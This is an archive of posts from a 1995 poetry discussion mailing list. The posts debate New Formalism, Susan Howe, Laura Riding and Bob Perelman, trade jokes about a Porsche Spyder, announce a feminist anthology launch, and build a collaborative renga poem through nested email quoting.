to tenuous promissory notes, one ear to thunder, fast over Tucson Mountains

↑ Index

634. **Chris Stroffolino**

Re: Value in Poetry

Sun 20 Aug 1995

Yes, Keith, Bob told me about this piece (which is one of the reasons I'm waiting for MARGINALIZATION to come out--for I haven't read it yet,) and it certainly would offer a different paradigm than what ROn calls "Bob and Charles's....social satire" (which I think is a reductive reading of even Bob's

earlier work, much less "chain sauttine"). I am also extremely curious of what Barrett Watten's recent work on Laura (Riding) Jackson consists. Can it be said to be an endorsement? Or would it be the kind of "right-handed endoresement" (I'm left handed) McGann gives. I am especially curious because there are tremendous affinities in the work of Carla Harryman (who Watten is married to--to do an "ad hominen" thing) and Laura Riding (especially "progress of stories") And I will quote in full a Laura Riding poem which can be read allegorically (I suppose) as a kinda law (or Lawn--a la Rosemarie Waldrop) of the excluded middle shown as one and the same with a "parthenogennesis" fantasy not unlike that "glaoumourized" (for academics) by LACAN as "entry into the masculine symbolic" (blah blah)--There is a battle of names here---SHE'S only a monomaniac because HE'S parthenogenetic!

THAT ANCIENT LINE

Old Mother Act and her child Fact-of-Act
Lived practically as one,
He so proud of his monomaniac mother,
She so proud of her parthenogenetic son.

After her death of course
With his looks and education
Lived on the formal compliments
That other phrases paid him;
And had, of his ceremony, one daughter
Who remarkably resembled
Her paternal and only grandmother.

Indeed, between Act and Matter-of-Fact
Was such consanguineous sympathy
That the disappearance of the matronymic
In the third generation of pure logic
Did not detract from the authority
Of this and later versions
Of the original progenitive argument.

Long flourished that estate
And never died that self-engendering line-out.
Scion followed after scion
Until that ancient blood ran nearly thin,
But Verily, In Truth and Beyond Doubt
Renewed the inheritance--and And So On.

There is a "he" absent from the fist line of the second stanza (maybe other erratua too)--I can see the reviewers now "Almost as good as Silliman's MICROSOFT BUYS CATHOLIC CHURCH piece"---I'm suprised no one has yet

come to Susan Howe's defense against Ron. On that point, I won't (or can't).
Chris Stroffolino

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635. George Bowering
Re: Mitchellmania, Harpermania
Sun 20 Aug 1995

Hey, friend, want a ride in my Porsch Spyder?

↑ Index

636. Mark Roberts
(no subject)
Sun 20 Aug 1995

Sybylla Feminist Press Collective 'She's Fantastical' Book launch

Sybylla is the oldest extant feminist press in Australia, run by a voluntary collective, and is committed to independent feminist publishing.

Sybylla's latest book, entitled 'She's Fantastical', is being launched on 27 August 1995, by Louise Adler, arts editor for 'The Age', at 5.30pm at Budinskis Theatre of Exile, 380 Lygon St, Carlton, Melbourne.

'She's Fantastical' will be the first anthology of Australian women's speculative fiction, fantasy and magical realism to be published in Australia. It is edited by Lucy Sussex and Judith Buckrich with a foreword written by Ursula K Le Guin. There will be readings at the launch by Ania Walwicz, berni m.janssen and Rosaleen Love.

'She's Fantastical' will retail for $22.95 and is distributed by Manic Exposeur. For more inquiries regarding the launch please ring Lisa Fletcher on (03) 9481 0268. Inquiries regarding publicity and promotions should be directed to Sarah Endacott (03) 9853 2744 and Kathy Miner (03) [redacted].

email inquiries to Karen Porter - address: [redacted]

↑ Index

637. Shaunanne Tangney
Re: Mitchellmania, Harpermania
Mon 21 Aug 1995

On Sun, 20 Aug 1995, George Bowering wrote:

> *Hey, friend, want a ride in my Porsch Spyder?*

what if i said yes. . ?

↑ Index

638. **maria damon**
Re: Mitchellmania, Harpermania
Mon 21 Aug 1995

---

shaunanne writes:
> On Sun, 20 Aug 1995, George Bowering wrote:
>
> > Hey, friend, want a ride in my Porsch Spyder?
> >
>
> what if i said yes. . ?

so, forgive my costant questions, what's a Porsch Spyder?

↑ Index

639. **H. T. KIRBY-SMITH**
New Formalism
Mon 21 Aug 1995

The New Formalism is pretty Old Hat. Here are a couple of paragraphs I wrote maybe two or three years ago:

Official participants in the New Formalism are harder to identify with certainty than those who constituted "The Movement" in England. New Formalism is perhaps best described as a diffused reaction on the part of poets who are separated geographically, by age, and by any number of other differences of background and intellectual conviction. Poets who perceive themselves as New Formalists are not necessarily admired by other poets who have--without seeking any such affiliation--been lumped into that category. Some actively resist being called New Formalists, feeling a disdain similar to that felt by Elizabeth Bishop towards those who identified her as a candidate for inclusion in collections of poems exclusively by women.

At this point I would like to insert a personal note. In the 1970s and early 1980s, The Greensboro Review, of which I was then editor, was printing--along with much else--work by poets who had trained themselves to handle the old meters with rare grace and to employ them in rendering contemporary subjects; three or four of these poets were former students of Yvor Winters. I did not imagine at the time that we might be running a stud farm for an identifiable breed of poetry, and I find it irritating to see the rapidity with which the livestock is being propagated, raised to marketable

size, and butchered; but as Randall Jarrell said long ago of the scholar/critic's opinion of the poet, "Pig! What do you know about bacon!" The magazine published some of the earliest poems by both Timothy Steele and Alan Shapiro, who have come to be identified, at least to some degree and in some contexts, perhaps with increasing discomfort at being so designated, as New Formalists; also appearing were hard-core Wintersians such as Kenneth Fields, Charles Gullans, and Raymond Oliver. But we printed poems, too, that did not fit any conventional form but which seemed to be aiming at organized patterns that were metrically satisfying, and many that were in no discernible pattern, such as one of Dave Smith's earliest and a poem or two by Charles Simic. Sharing the space in one number of the magazine published in 1975 were Steele and Fields, but the same issue included a highly experimental "Mondrian" poem by Amon Liner (who died soon after publication of that work) which I now recognize to be immediately anticipatory of "Language" poetry. I cannot think what label to apply to the poems there and in other issues which displayed a willingess to employ as-yet-unrecognized structural elements, such as those by May Swenson and some by Robert Morgan. "Reconstructive" has too many accidental associations, whether academic or regional, but "New Formalism," even if it were accurate, seems worse--because the label really has acquired a reactionary following and as T. S. Eliot (in "Little Gidding") put it: "We cannot revive old factions / We cannot restore old policies / Or follow an antique drum." Would "New Structuralism" seem anything but an alias? In any case, at the time that we were publishing these poems the word "formalist" never crossed my mind. But since then the New Formalist movement has congealed and has roused considerable opposition.

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640. Sheila E. Murphy

Re: favourite care word: "you"

Mon 21 Aug 1995

Charles Alexander wrote:
>On Sun, 20 Aug 1995 07:59:38 -0700,
>Sheila E. Murphy <[redacted]> wrote:
>
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encore
>>>>>>>>>> Flaubert because we're waiting all throughout eternity for moments
>>to be
>>>>>>>>>> of such suchness. In the nooks were creams and in the streams were
>>hooks
>>>.
>>>>>>>>>> All melded like striated film leftover in the pastel seeds of darkness
>>>>>>>>>> falling like a counterirritant around the manchineel. Likewise
>>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently soft

fruit
>>>>>>>>>> of subject's object status, violent transformation
>>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
>>>>>>>>>and in the u-turns were bookmobiles rounding angles considered
>>>>>>>>shrill as pine left in the acres to be aging
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>>>>>through thunderstorms, arm over thigh until light shakes
>>>>petals free of names that rain across known skin forgotten
>>>other than prints, trace free of cloth, slow memory night
>>with customs planted in them to retract what almost fastens onto
>the unhinged wing of night's stern and contracted falsity
as blessed glass retracts whatever mule the heart

↑ Index

641. **Shaunanne Tangney**
Re: Mitchellmania, Harpermania
Mon 21 Aug 1995

On Mon, 21 Aug 1995, maria damon wrote:

> *shaunanne writes:*
> *On Sun, 20 Aug 1995, George Bowering wrote:*
>
> *Hey, friend, want a ride in my Porsch Spyder?*
>
> *what if i said yes. . ?*
>
> *so, forgive my costant questions, what's a Porsch Spyder?*

the car james dean died in. . . evry rare. . . very cool. . . very spooky ST

↑ Index

642. **Hank Lazer**
Re: favourite care word: "you"
Mon 21 Aug 1995

> >>>>>>>> In the books were dreams and in the dreams were books.
> >>>>>>>>>> And flew through windows, lightning green and fine morning
> >>>>>>>>>> First inverted whistle of a cardinal in the poplar
> >>>>>>>>>> The book and the oboe on the grass under sun and cloud
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> >>>>>>>>>> The caravan of windows to what they flee

> >>>>>>>>>>> These lace curtains, more gauze than bondage, more
> >>>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
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> >>>>>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
> >>>>>>>>>>> kook!"
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> >>>.
> >>>>>>>>>>> All melded like striated film leftover in the pastel seeds of
> darkness
> >>>>>>>>>>> falling like a counterirritant around the manchineel.

Likewise
> >>>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently soft
> fruit
> >>>>>>>>>>> of subject's object status, violent transformation
> >>>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
> >>>>>>>>>>and in the u-turns were bookmobiles rounding angles considered
> >>>>>>>>>shrill as pine left in the acres to be aging
> >>>>>>>flawlessly, flutes sing genderless in trio, surprised
> >>>>>>by how quiet effort really is or is not, fast enough to sleep
> >>>>>through thunderstorms, arm over thigh until light shakes
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> >>>other than prints, trace free of cloth, slow memory night
> >>with customs planted in them to retract what almost fastens onto
> >the unhinged wing of night's stern and contracted falsity
> as blessed glass retracts whatever mule the heart
  beats. In the ensuing silence, her eyes turn from white space

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643. Lindz Williamson
spyder
Mon 21 Aug 1995

On Mon, 21 Aug 1995, Shaunanne Tangney wrote:

> *On Mon, 21 Aug 1995, maria damon wrote:*
>
> *shaunanne writes:*
> *On Sun, 20 Aug 1995, George Bowering wrote:*
>
> *Hey, friend, want a ride in my Porsch Spyder?*
>
> *what if i said yes. . ?*
>
> *so, forgive my costant questions, what's a Porsch Spyder?*
>
> *the car james dean died in. . . evry rare. . . very cool. . . very spooky*
> *ST*

George drives a grey volvo, . . . very somber . . . very practical . . . very common.

Lindz (the burster of bubbles)

↑ Index

644. **Ryan Knighton**
Re: spyder
Mon 21 Aug 1995

Hey Lindz, and everyone interested:

I only have sandals, but I can fly!

George could too, only he eats too many hashbrowns.

(I'm still hoping someone can answer my Blaser question. Pleeeez.)

> *On Mon, 21 Aug 1995, Shaunanne Tangney wrote:*
>
> *On Mon, 21 Aug 1995, maria damon wrote:*
>
> *shaunanne writes:*
> *On Sun, 20 Aug 1995, George Bowering wrote:*
>
> *Hey, friend, want a ride in my Porsch Spyder?*
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>
> *George drives a grey volvo, . . . very somber . . . very practical .*
> *. . very common.*
>
> *Lindz (the burster of bubbles)*

↑ Index

645. **Joseph Zitt**
Re: favourite care word: "you"
Mon 21 Aug 1995

On 21 Aug 95 at 13:36, Hank Lazer wrote:

> > >>>>>>>> In the books were dreams and in the dreams were books.
> > >>>>>>>>>> And flew through windows, lightning green and fine morning
> > >>>>>>>>>> First inverted whistle of a cardinal in the poplar
> > >>>>>>>>>> The book and the oboe on the grass under sun and cloud
> > >>>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
> > >>>>>>>>>> The caravan of windows to what they flee
> > >>>>>>>>>> These lace curtains, more gauze than bondage, more
> > >>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
> > >>>>>>>>>> but narrow in the waist or waspish Sunday years ago
> > >>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
> > >>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
> > >>>>>>>>>> bleached ribcage ripcorded into compassed wind
> > >>>>>>>>>> kissing the weatherwoman between her breasts as she
> > >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
> > >>>>>>>>>> flicka my best friend and the storm in the glass of water's
> > >>>>>>>>>> halfway pertinent incision we keep making safe for ignorance
> > >>>>>>>>>> (inspection
> > >>>>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
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> > >>>>>>>>>> mountains away but it wasn't, you know, a big tango
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> > >>>>>>>>>> kook!"
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> > >>>>>>>>>> warehouse, curls
> > >>>>>>>>>> no ideas but the woven fabric the texture so to speak was at the dr
> y
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> > >>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
> > >>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose
> > encore
> > >>>>>>>>>> Flaubert because we're waiting all throughout eternity for

moments
> > >>to be
> > >>>>>>>>>>> of such suchness. In the nooks were creams and in the streams were
> > >>hooks
> > >>>.
> > >>>>>>>>>>> All melded like striated film leftover in the pastel seeds of
> > darkness
> > >>>>>>>>>>> falling like a counterirritant around the manchineel. Likewise
> > >>>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently soft
> > fruit
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> > >>>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
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> > >>>>>>>>>shrill as pine left in the acres to be aging
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> > >>>>>>by how quiet effort really is or is not, fast enough to sleep
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> > >>>>petals free of names that rain across known skin forgotten
> > >>>other than prints, trace free of cloth, slow memory night
> > >>with customs planted in them to retract what almost fastens onto
> > >the unhinged wing of night's stern and contracted falsity
> > as blessed glass retracts whatever mule the heart
> beats. In the ensuing silence, her eyes turn from white space
to blue print, graphic sheets of shadow
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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646. **Jordan Davis.**
favorite car word
Mon 21 Aug 1995

>>>>>>>> In the books were dreams and in the dreams were books.
>>>>>>>>>> And flew through windows, lightning green and fine morning
>>>>>>>>>> First inverted whistle of a cardinal in the poplar

>>>>>>>>>> The book and the oboe on the grass under sun and cloud
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the
dry
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>>>>>>>>>> All melded like striated film leftover in the pastel seeds of

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>>with customs planted in them to retract what almost fastens onto
>the unhinged wing of night's stern and contracted falsity
as blessed glass retracts whatever mule the heart
the tern hangs a little arc and drops, hard, up with

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647. Wystan Curnow
Re: New Formalism
Mon 21 Aug 1995

Dear H.T., Thanks for your paras on the New Formalism, which I've only recently learnt to distinguish from the Nude Formalism where my heart I have to say still lies. Be that as it may, your particulars are apprec iated. Where might I find an official history, but? I know what you are saying, which in a sense is what they all say: well, we're all different you know and disagree with and resent being associated with one another, and the very idea of being referred to as A MOVEMENT makes us queasy, it's reifying and commodifying, and its all the camp followers who've produced it and anyway its Old Hat. OK. But maybe I have this wrong?

Wystan

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648. Alan Sondheim
Re: favourite care word: "you"
Mon 21 Aug 1995

odd that how this goes on and on it looks pictorially more and more like substance, words fractured, arrows cutting through to the flesh of it, no

questioning ideological or political contents, are there any? effusion on the right-hand side matched by the arrows on the left, double-columns like glas, everything playing off the fissure, maybe words are permanently corrupted at this point, bytes bitten? this space the beginning or end of writing?

↑ Index

649. **Aldon L. Nielsen**

Re: Howe's Dfens

Mon 21 Aug 1995

I suppose, being a reader and all, I _am_ one of those things outside the text that Howe's poems are supposed by Ron to rely upon -- but ain't that just the way, here I am inside the text after all --

JM's ideas about radial reading may, I guess, be an argument for such poetry, but it appears to me that there is no good reason to believe that other poems, Ron's own for example, somehow do not have the effect of sending us to other texts, even if it's to another of Ron's books. -- there is always that polopony to track down --

↑ Index

650. **Charles Alexander**

Re: favourite care word: "you"

Tue 22 Aug 1995

On Mon, 21 Aug 1995 21:48:44 -0400,
Alan Sondheim <[redacted]> wrote:

> *odd that how this goes on and on it looks pictorially more and more like substance, words fractured, arrows cutting through to the flesh of it, no questioning ideological or political contents, are there any? effusion on the right-hand side matched by the arrows on the left, double-columns like glas, everything playing off the fissure, maybe words are permanently corrupted at this point, bytes bitten? this space the beginning or end of writing?*

What does it mean for words to be corrupted, permanently or temporarily? I wonder, although I appreciate the qualifying "maybe," as well as the provisional nature of this entire statement/question. But I don't think of words as some ideal, corruptible -- rather as continually evolving matter.

charles alexander

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651. **Charles Alexander**
Re: favourite care word: "you"
Tue 22 Aug 1995

On Mon, 21 Aug 1995 13:36:22 CST6CDT,
Hank Lazer <[redacted]> wrote:

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>> >>>other than prints, trace free of cloth, slow memory night
>> >>with customs planted in them to retract what almost fastens onto
>> >the unhinged wing of night's stern and contracted falsity
>> as blessed glass retracts whatever mule the heart
> beats. In the ensuing silence, her eyes turn from white space
with guarded reluctance, waking the dream of eternal flight

↑ Index

652. **Alan Sondheim**
Re: favourite care word: "you"
Tue 22 Aug 1995

On Mon, 21 Aug 1995, Charles Alexander wrote:

> *On Mon, 21 Aug 1995 21:48:44 -0400,*
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> *What does it mean for words to be corrupted, permanently or temporarily? I wonder, although I appreciate the qualifying "maybe," as well as the provisional nature of this entire statement/question. But I don't think of words as some ideal, corruptible -- rather as continually evolving matter.*

Literally, that they're broken by the word-wrap; figuratively, that the renga has turned into a renga-machine perhaps, into a word-machine... What evolves when there are too many words, when words - could there be a political economy of words - lose their force/tethering within a culture - What about the renga-machine, say, and the production of on-line poetry - What if there is too much information (I don't like that word at the moment and here), one becoming flooding?

Alan
>
> charles alexander
>

↑ Index

653. **Thomas Bell**
Re: favourite care word: "you"
Tue 22 Aug 1995

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↑ Index

654. Alan Sondheim

Re: favourite care word: "you"

Tue 22 Aug 1995

On Mon, 21 Aug 1995, Thomas Bell wrote:

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> > >the unhinged wing of night's stern and contracted falsity
> > as blessed glass retracts whatever mule the heart
> > beats. In the ensuing silence, her eyes turn from white space
> and silos yield rainbows. Combines circle the outlying
regions where tongues were cut, women raped, no one had the right to speak

↑ Index

655. **Rod Smith**
Re: Value in Poetry
Tue 22 Aug 1995

Have to admit I was impressed by Bob's book-- the close reading of Pound especially-- & this may show how closely I (don't) read-- but my problem w/ it was the framing, i.e. genius vs. not a genius. To state it more clearly-- By objecting to their "genius claims" is Perelman valuing "normative discourse" over the trundlings of the four cited geniuses? & if so, why wld one want to do that. Is it a populist book? Seems to me the claims, or more accurately-- the enactment of authority, within normative discourse is much more problematic than any of those four *pointing out* their own genius. --Rod

PS- Is Ross Perot a genius?

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656. **Rae Armantrout**
Re: Howe's Dfens
Tue 22 Aug 1995

For me Susan's work is first of all an auditory experience. She has as good an ear as anyone ever has had. Beyond that I see her work as being about loss and temporal erosion. Those themes aren't just referred to; they're enacted within the unstable legibility of her pages. Since Ron framed his remarks as an example of personal taste, however, Susan doesn't really need a defense. No one should be scapegoated at Mr. Corn's request.

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657. Lindz Williamson
Thesen
Tue 22 Aug 1995

I'm reading Sharon thesen's Aurara right now and it is soooooo gooood! I also just today picked up Bowering"s Rocky Mountian Foot at a used book store on Broadway, I'll get back to you later on what I think, however the Bio is kind of funny.

About the Author

His Grandfather was a circuit rider who travelled south of Edmonton/ His father was born in the province. So George Bowering has ancestral connections with the Alberta he writes about so knowingly in Rocky Mountian Foot.

"I was all those things that other poets always are on the dust jackets before they became poets."

-George Bowering 1968.

Hee heee, Lindz

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658. George Bowering
Re: favourite care word: "you"
Tue 22 Aug 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best mare and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *(inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*

> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho,*
> *kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco*
> *warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dr*
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> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose*
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> *Flaubert because we're waiting all throughout eternity for moments*
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> *hooks*
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> *All melded like striated film leftover in the pastel seeds of*
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> *as blessed glass retracts whatever mule the heart*
> *beats. In the ensuing silence, her eyes turn from white space*
> *to tapioca, from brown space to hot chocolate, from Republican to*

↑ Index

659. **George Bowering**

Re: Mitchellmania, Harpermania

Tue 22 Aug 1995

Actually, my favourite film of James Dean was an early TV program in which he played a petulant jilted teenage lover in a jukebox soda shop.

And my favourite photo of him was that one in *Evergreen Review* where he's wearing his striped shirt at a ballet class. I think he was there with Eartha Kitt. . . .

I may have a darg grey Volvo but it's got an Arthur Blythe tape in the deck.

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660. **Sheila E. Murphy**
Re: favourite care word: "you"
Tue 22 Aug 1995

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>> >>>>>>>>shrill as pine left in the acres to be aging
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>> >>>>>>by how quiet effort really is or is not, fast enough to sleep
>> >>>>>through thunderstorms, arm over thigh until light shakes
>> >>>>petals free of names that rain across known skin forgotten
>> >>>other than prints, trace free of cloth, slow memory night
>> >>with customs planted in them to retract what almost fastens onto
>> >the unhinged wing of night's stern and contracted falsity
>> as blessed glass retracts whatever mule the heart
> beats. In the ensuing silence, her eyes turn from white space
to a purer white described without even a thought and carried to another

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661. **Sheila E. Murphy**
Re: favourite care word: "you"
Tue 22 Aug 1995

On Monday, 21 August, Charles Alexander wrote:
>On Mon, 21 Aug 1995 13:36:22 CST6CDT,
>Hank Lazer <[redacted]> wrote:
>
>>> >>>>>>>> In the books were dreams and in the dreams were books.
>>> >>>>>>>>>> And flew through windows, lightning green and fine morning
>>> >>>>>>>>>> First inverted whistle of a cardinal in the poplar
>>> >>>>>>>>>> The book and the oboe on the grass under sun and cloud
>>> >>>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
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>>> >>>>>>>>>> These lace curtains, more gauze than bondage, more
>>> >>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
>>> >>>>>>>>>> but narrow in the waist or waspish Sunday years ago
>>> >>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
>>> >>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
>>> >>>>>>>>>> bleached ribcage ripcorded into compassed wind
>>> >>>>>>>>>> kissing the weatherwoman between her breasts as she
>>> >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
>>> >>>>>>>>>> flicka my best friend and the storm in the glass of water's
>>> >>>>>>>>>> halfway pertinent incision we keep making safe for ignorance
>>> >>>>>>>>>> (inspection
>>> >>>>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
>>> >>>>>>>>>> pockets in small furniture intended house sequentially several
>>> >>>>>>>>>> mountains away but it wasn't, you know, a big tango
>>> >>>>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
>>> >>>>>>>>>> kook!"
>>> >>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>>> >>>>>>>>>> warehouse, curls
>>> >>>>>>>>>> no ideas but the woven fabric the texture so to speak was at
the d

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>>y
>>> >>>>>>>>>>   cleaners
>>> >>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on
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>>> >>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
>>> >>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose
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>>> >>>>>>>>>> All melded like striated film leftover in the pastel seeds of
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>>> >>>>>>>>>> of subject's object status, violent transformation
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>>> >>with customs planted in them to retract what almost fastens onto
>>> >the unhinged wing of night's stern and contracted falsity
>>> as blessed glass retracts whatever mule the heart
>> beats. In the ensuing silence, her eyes turn from white space

>with guarded reluctance, waking the dream of eternal flight
to say something in a hoarse voice nearly breaking near its own
inurgency

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662. Sheila E. Murphy

Re: favourite care word: "you"

Tue 22 Aug 1995

> [D
>> >>>>>>>>> In the books were dreams and in the dreams were books.
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>> >>>>>>>>>> no ideas but the woven fabric the texture so to speak was

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>> as blessed glass retracts whatever mule the heart
>> beats. In the ensuing silence, her eyes turn from white space
>and silos yield rainbows. Combines circle the outlying
premises as substantive as crayons now confused with thought

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663. **maria damon**
Re: favourite care word: "you"
Tue 22 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >
> > > >>>>>>>> In the books were dreams and in the dreams were books.
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> > > >the unhinged wing of night's stern and contracted falsity
> > > as blessed glass retracts whatever mule the heart
> > beats. In the ensuing silence, her eyes turn from white space
> > to tapioca, from brown space to hot chocolate, from Republican to
angel steeped in angelology deeper than rilke's or blake's, by virtue of

↑ Index

664. **maria damon**
Re: favourite care word: "you"
Tue 22 Aug 1995

In message <[redacted]> UB Poetics discussion group
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> >moments
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> >> as blessed glass retracts whatever mule the heart
> >> beats. In the ensuing silence, her eyes turn from white space
> >and silos yield rainbows. Combines circle the outlying
> premises as substantive as crayons now confused with thought
whose rainbows rival cosmic immensities to the tune of

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665. maria damon
movies abt poetry
Tue 22 Aug 1995

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just saw the postman last night, i mean the movie, not my local mail carrier, and was very moved despite differences w/ the movie's conception of poetry as (only) "metaphor," and despite a somewhate facile objection to the insistence on Neruda's "wisdom," tho even that was skillfully undercut by the ending of the movie, when he's clearly wondering if he did wrong by inciting the postman to poetry/politics/death. what do you all think, in terms of it being a movie, like dead poets' society (ugh!) that "makes a case" for poetry as centrally important to people's wellbeing? others i shd know about? recommended? what do you all think?--md

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666. Gabrielle Welford
Re: favourite care word: "you"
Tue 22 Aug 1995

On Tue, 22 Aug 1995, maria damon wrote:

> *In message <[redacted]> UB Poetics discussion group writes:*
> *[D*
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*

First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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Over coffee topped with whipped cream, the Times blowing
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kissing the weatherwoman between her breasts as she
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> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
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> *other than prints, trace free of cloth, slow memory night*
> *with customs planted in them to retract what almost fastens onto*
> *the unhinged wing of night's stern and contracted falsity*
> *as blessed glass retracts whatever mule the heart*
> *beats. In the ensuing silence, her eyes turn from white space*
> *and silos yield rainbows. Combines circle the outlying*
> *premises as substantive as crayons now confused with thought*
> *whose rainbows rival cosmic immensities to the tune of*
> *attitude problems? Dust off the dark wood and make your choice*

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667. **Issa Clubb**

Re: favourite care word: "you"

Tue 22 Aug 1995

Is it really a question of too many words? What I like about the renga form here is its extensibility, the way it displays words' continuation, & through multiplication can't be said to have a "writer"--the "force" that words have lost, maybe? and when absent, the language becomes a "machine"? The platitude often cited about digital technology is its infinite reproducibility, the fact that there is no loss in data from generation to generation. Which really means that the data *stays the same*. Words, of course, can be copied exactly, but they also tend to spin off in multiple directions, and change in almost imperceptible shifts. So maybe machinic instances of language are helpful, when these shifts of words (between people) can be made perceptible.

Also I would hesitate to call the renga on-line poetry because the line has already been broken and rejoined several times.

> *Literally, that they're broken by the word-wrap; figuratively, that the*
> *renga has turned into a renga-machine perhaps, into a word-machine...*
> *What evolves when there are too many words, when words - could there be a*
> *political economy of words - lose their force/tethering within a culture*
> *- What about the renga-machine, say, and the production of on-line poetry*
> *- What if there is too much information (I don't like that word at the*
> *moment and here), one becoming flooding?*
>
> *Alan*

Issa Clubb

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668. **Alan Golding**

Howe Now, Brown Formalist (and Bob Perelman too)

Tue 22 Aug 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

One challenge of being hooked up to the Poetics Digest option involves trying to respond to six messages at once instead of just hitting the reply key. But here goes.

While I'm not sure that Susan Howe needs me to come to her defense as she lies there swooning on her fainting couch (poetry *is* like a swoon, y' know, with this difference . . . the Klupzy Girl said), but I don't mind doing so, because I love her work. But I also appreciate Ron going out on a limb with his original comment; the question came up of poets whom one does not especially warm to within one's own alleged tradition, and Ron was willing to name names. I find Susan's work very compelling in the very terms that Ron finds it tepid, on the page--that is, in terms of her wonderful ear and her visual design of a page--that is, I like it, among other reasons, for the aural and material values that Ron finds lacking, if I understand him right. The other point on which I diverge from you, Ron (and I'd like to hear more from you if you're willing/interested), has to do with your assertion that the value/interest of Howe's work lies in extra-textual concerns. ("Extra-paginal?" This also sounds oddly close to that old New Critical bete noire, the "extra-literary.") I'm surprised that someone who's always been so attuned to the social components of writing, reading, and reception as you have should use as the basis of your critique what sounds like a dismissal of or skepticism toward those same social components. Perhaps I'm misunderstanding something in your comments. Also, didn't you once tell me that Susan was the only writer in the Tree who made her own selections of her own work? Was that your choice because of your ambivalence about the work? At her insistence? Inquiring minds, etc. Or at least mine does.

The larger issue, though, has to do with the differences within a movement that underlie the public constructions (usually, though not always, by "outsiders") of that movement's homogeneity. To me this is more interesting than questions of who likes or doesn't like whose work. The value of Ron's post on Howe is that it points up the inevitable fissures within so-called "so-called Language writing," fissures that were probably always present but that tend to come to the surface later rather than sooner. This is one interesting and instructive part of Bob P's Language Writing and Literary History book, which I've read in manuscript: he discusses internal difference ("where the meanings are," remember) within LP, asking some very fundamental skeptical questions about some of the work of, say, Bruce Andrews and (in the essay that Keith Tuma mentioned) Charles B. So

I don't read Bob's book as a "bunking" of LP after some kind of Bloominan "debunking" of his modernist predecessors; it operates with a rather more complex sense of literary and personal history than that, so that while it's partly involved with bunking (I like that term, Chris), it's also attentive to points of difference, disagreement, and to the bringing together of strange bedfellows (O'Hara and Barthes). But enough on a book that is not yet a book, that no-one's read.

I have to agree with Marjorie on The Trouble with Genius. As I read it, the four writers engage Perelman precisely because of the conflicting impulses within their work; the internal contradictions are generative, not "problems" or "weaknesses." Just like the internal contradictions within a poetic "movement." And that connects (I hope!) with what Tom Kirby-Smith said about the New Formalists. Granted, Tom, that like any movement the NF is much less homogeneous that it might first appear. But remember too that this was not a label that some evil critic stuck on all these innocent diverse writers who were just sitting out doing their thing. This is a self-consciously self-constituted group; even though some people might resist the label, lack any sense of group identification, or have lost it later (as you suggest Tim Steele has), the fact is that a group of writers (predominantly male, as seems nearly always usual) with shared concerns agreed to present themselves as a group, a movement, and set out to produce polemics and manifestoes designed to represent and further their work and interests. In the mid-late '80s they even explicitly talked about themselves as an alternative avant-garde to LP. This is my sense of the history, anyway. Am I way off? Names associated with the movement in these formative stages would include Frederick Turner, Frederick Feirstein, Robert McDowell, Dick Allen, Dana Gioia, just to mention the main polemicists (editors of essay collections, editors of special issues of mags., writers of manifestoes). And from a pretty early stage, fellow travellers would include Robert McPhillips, Brad Leithauser, Mary Jo Salter, Molly Peacock, Timothy Steele, Charles Martin, Paul Lake, Mark Jarman, Gertrude Schnackenberg. A diverse group geographically, professionally, and in other ways, but they did constitute themselves in print as a group with identifiable (and self-identified) concerns. 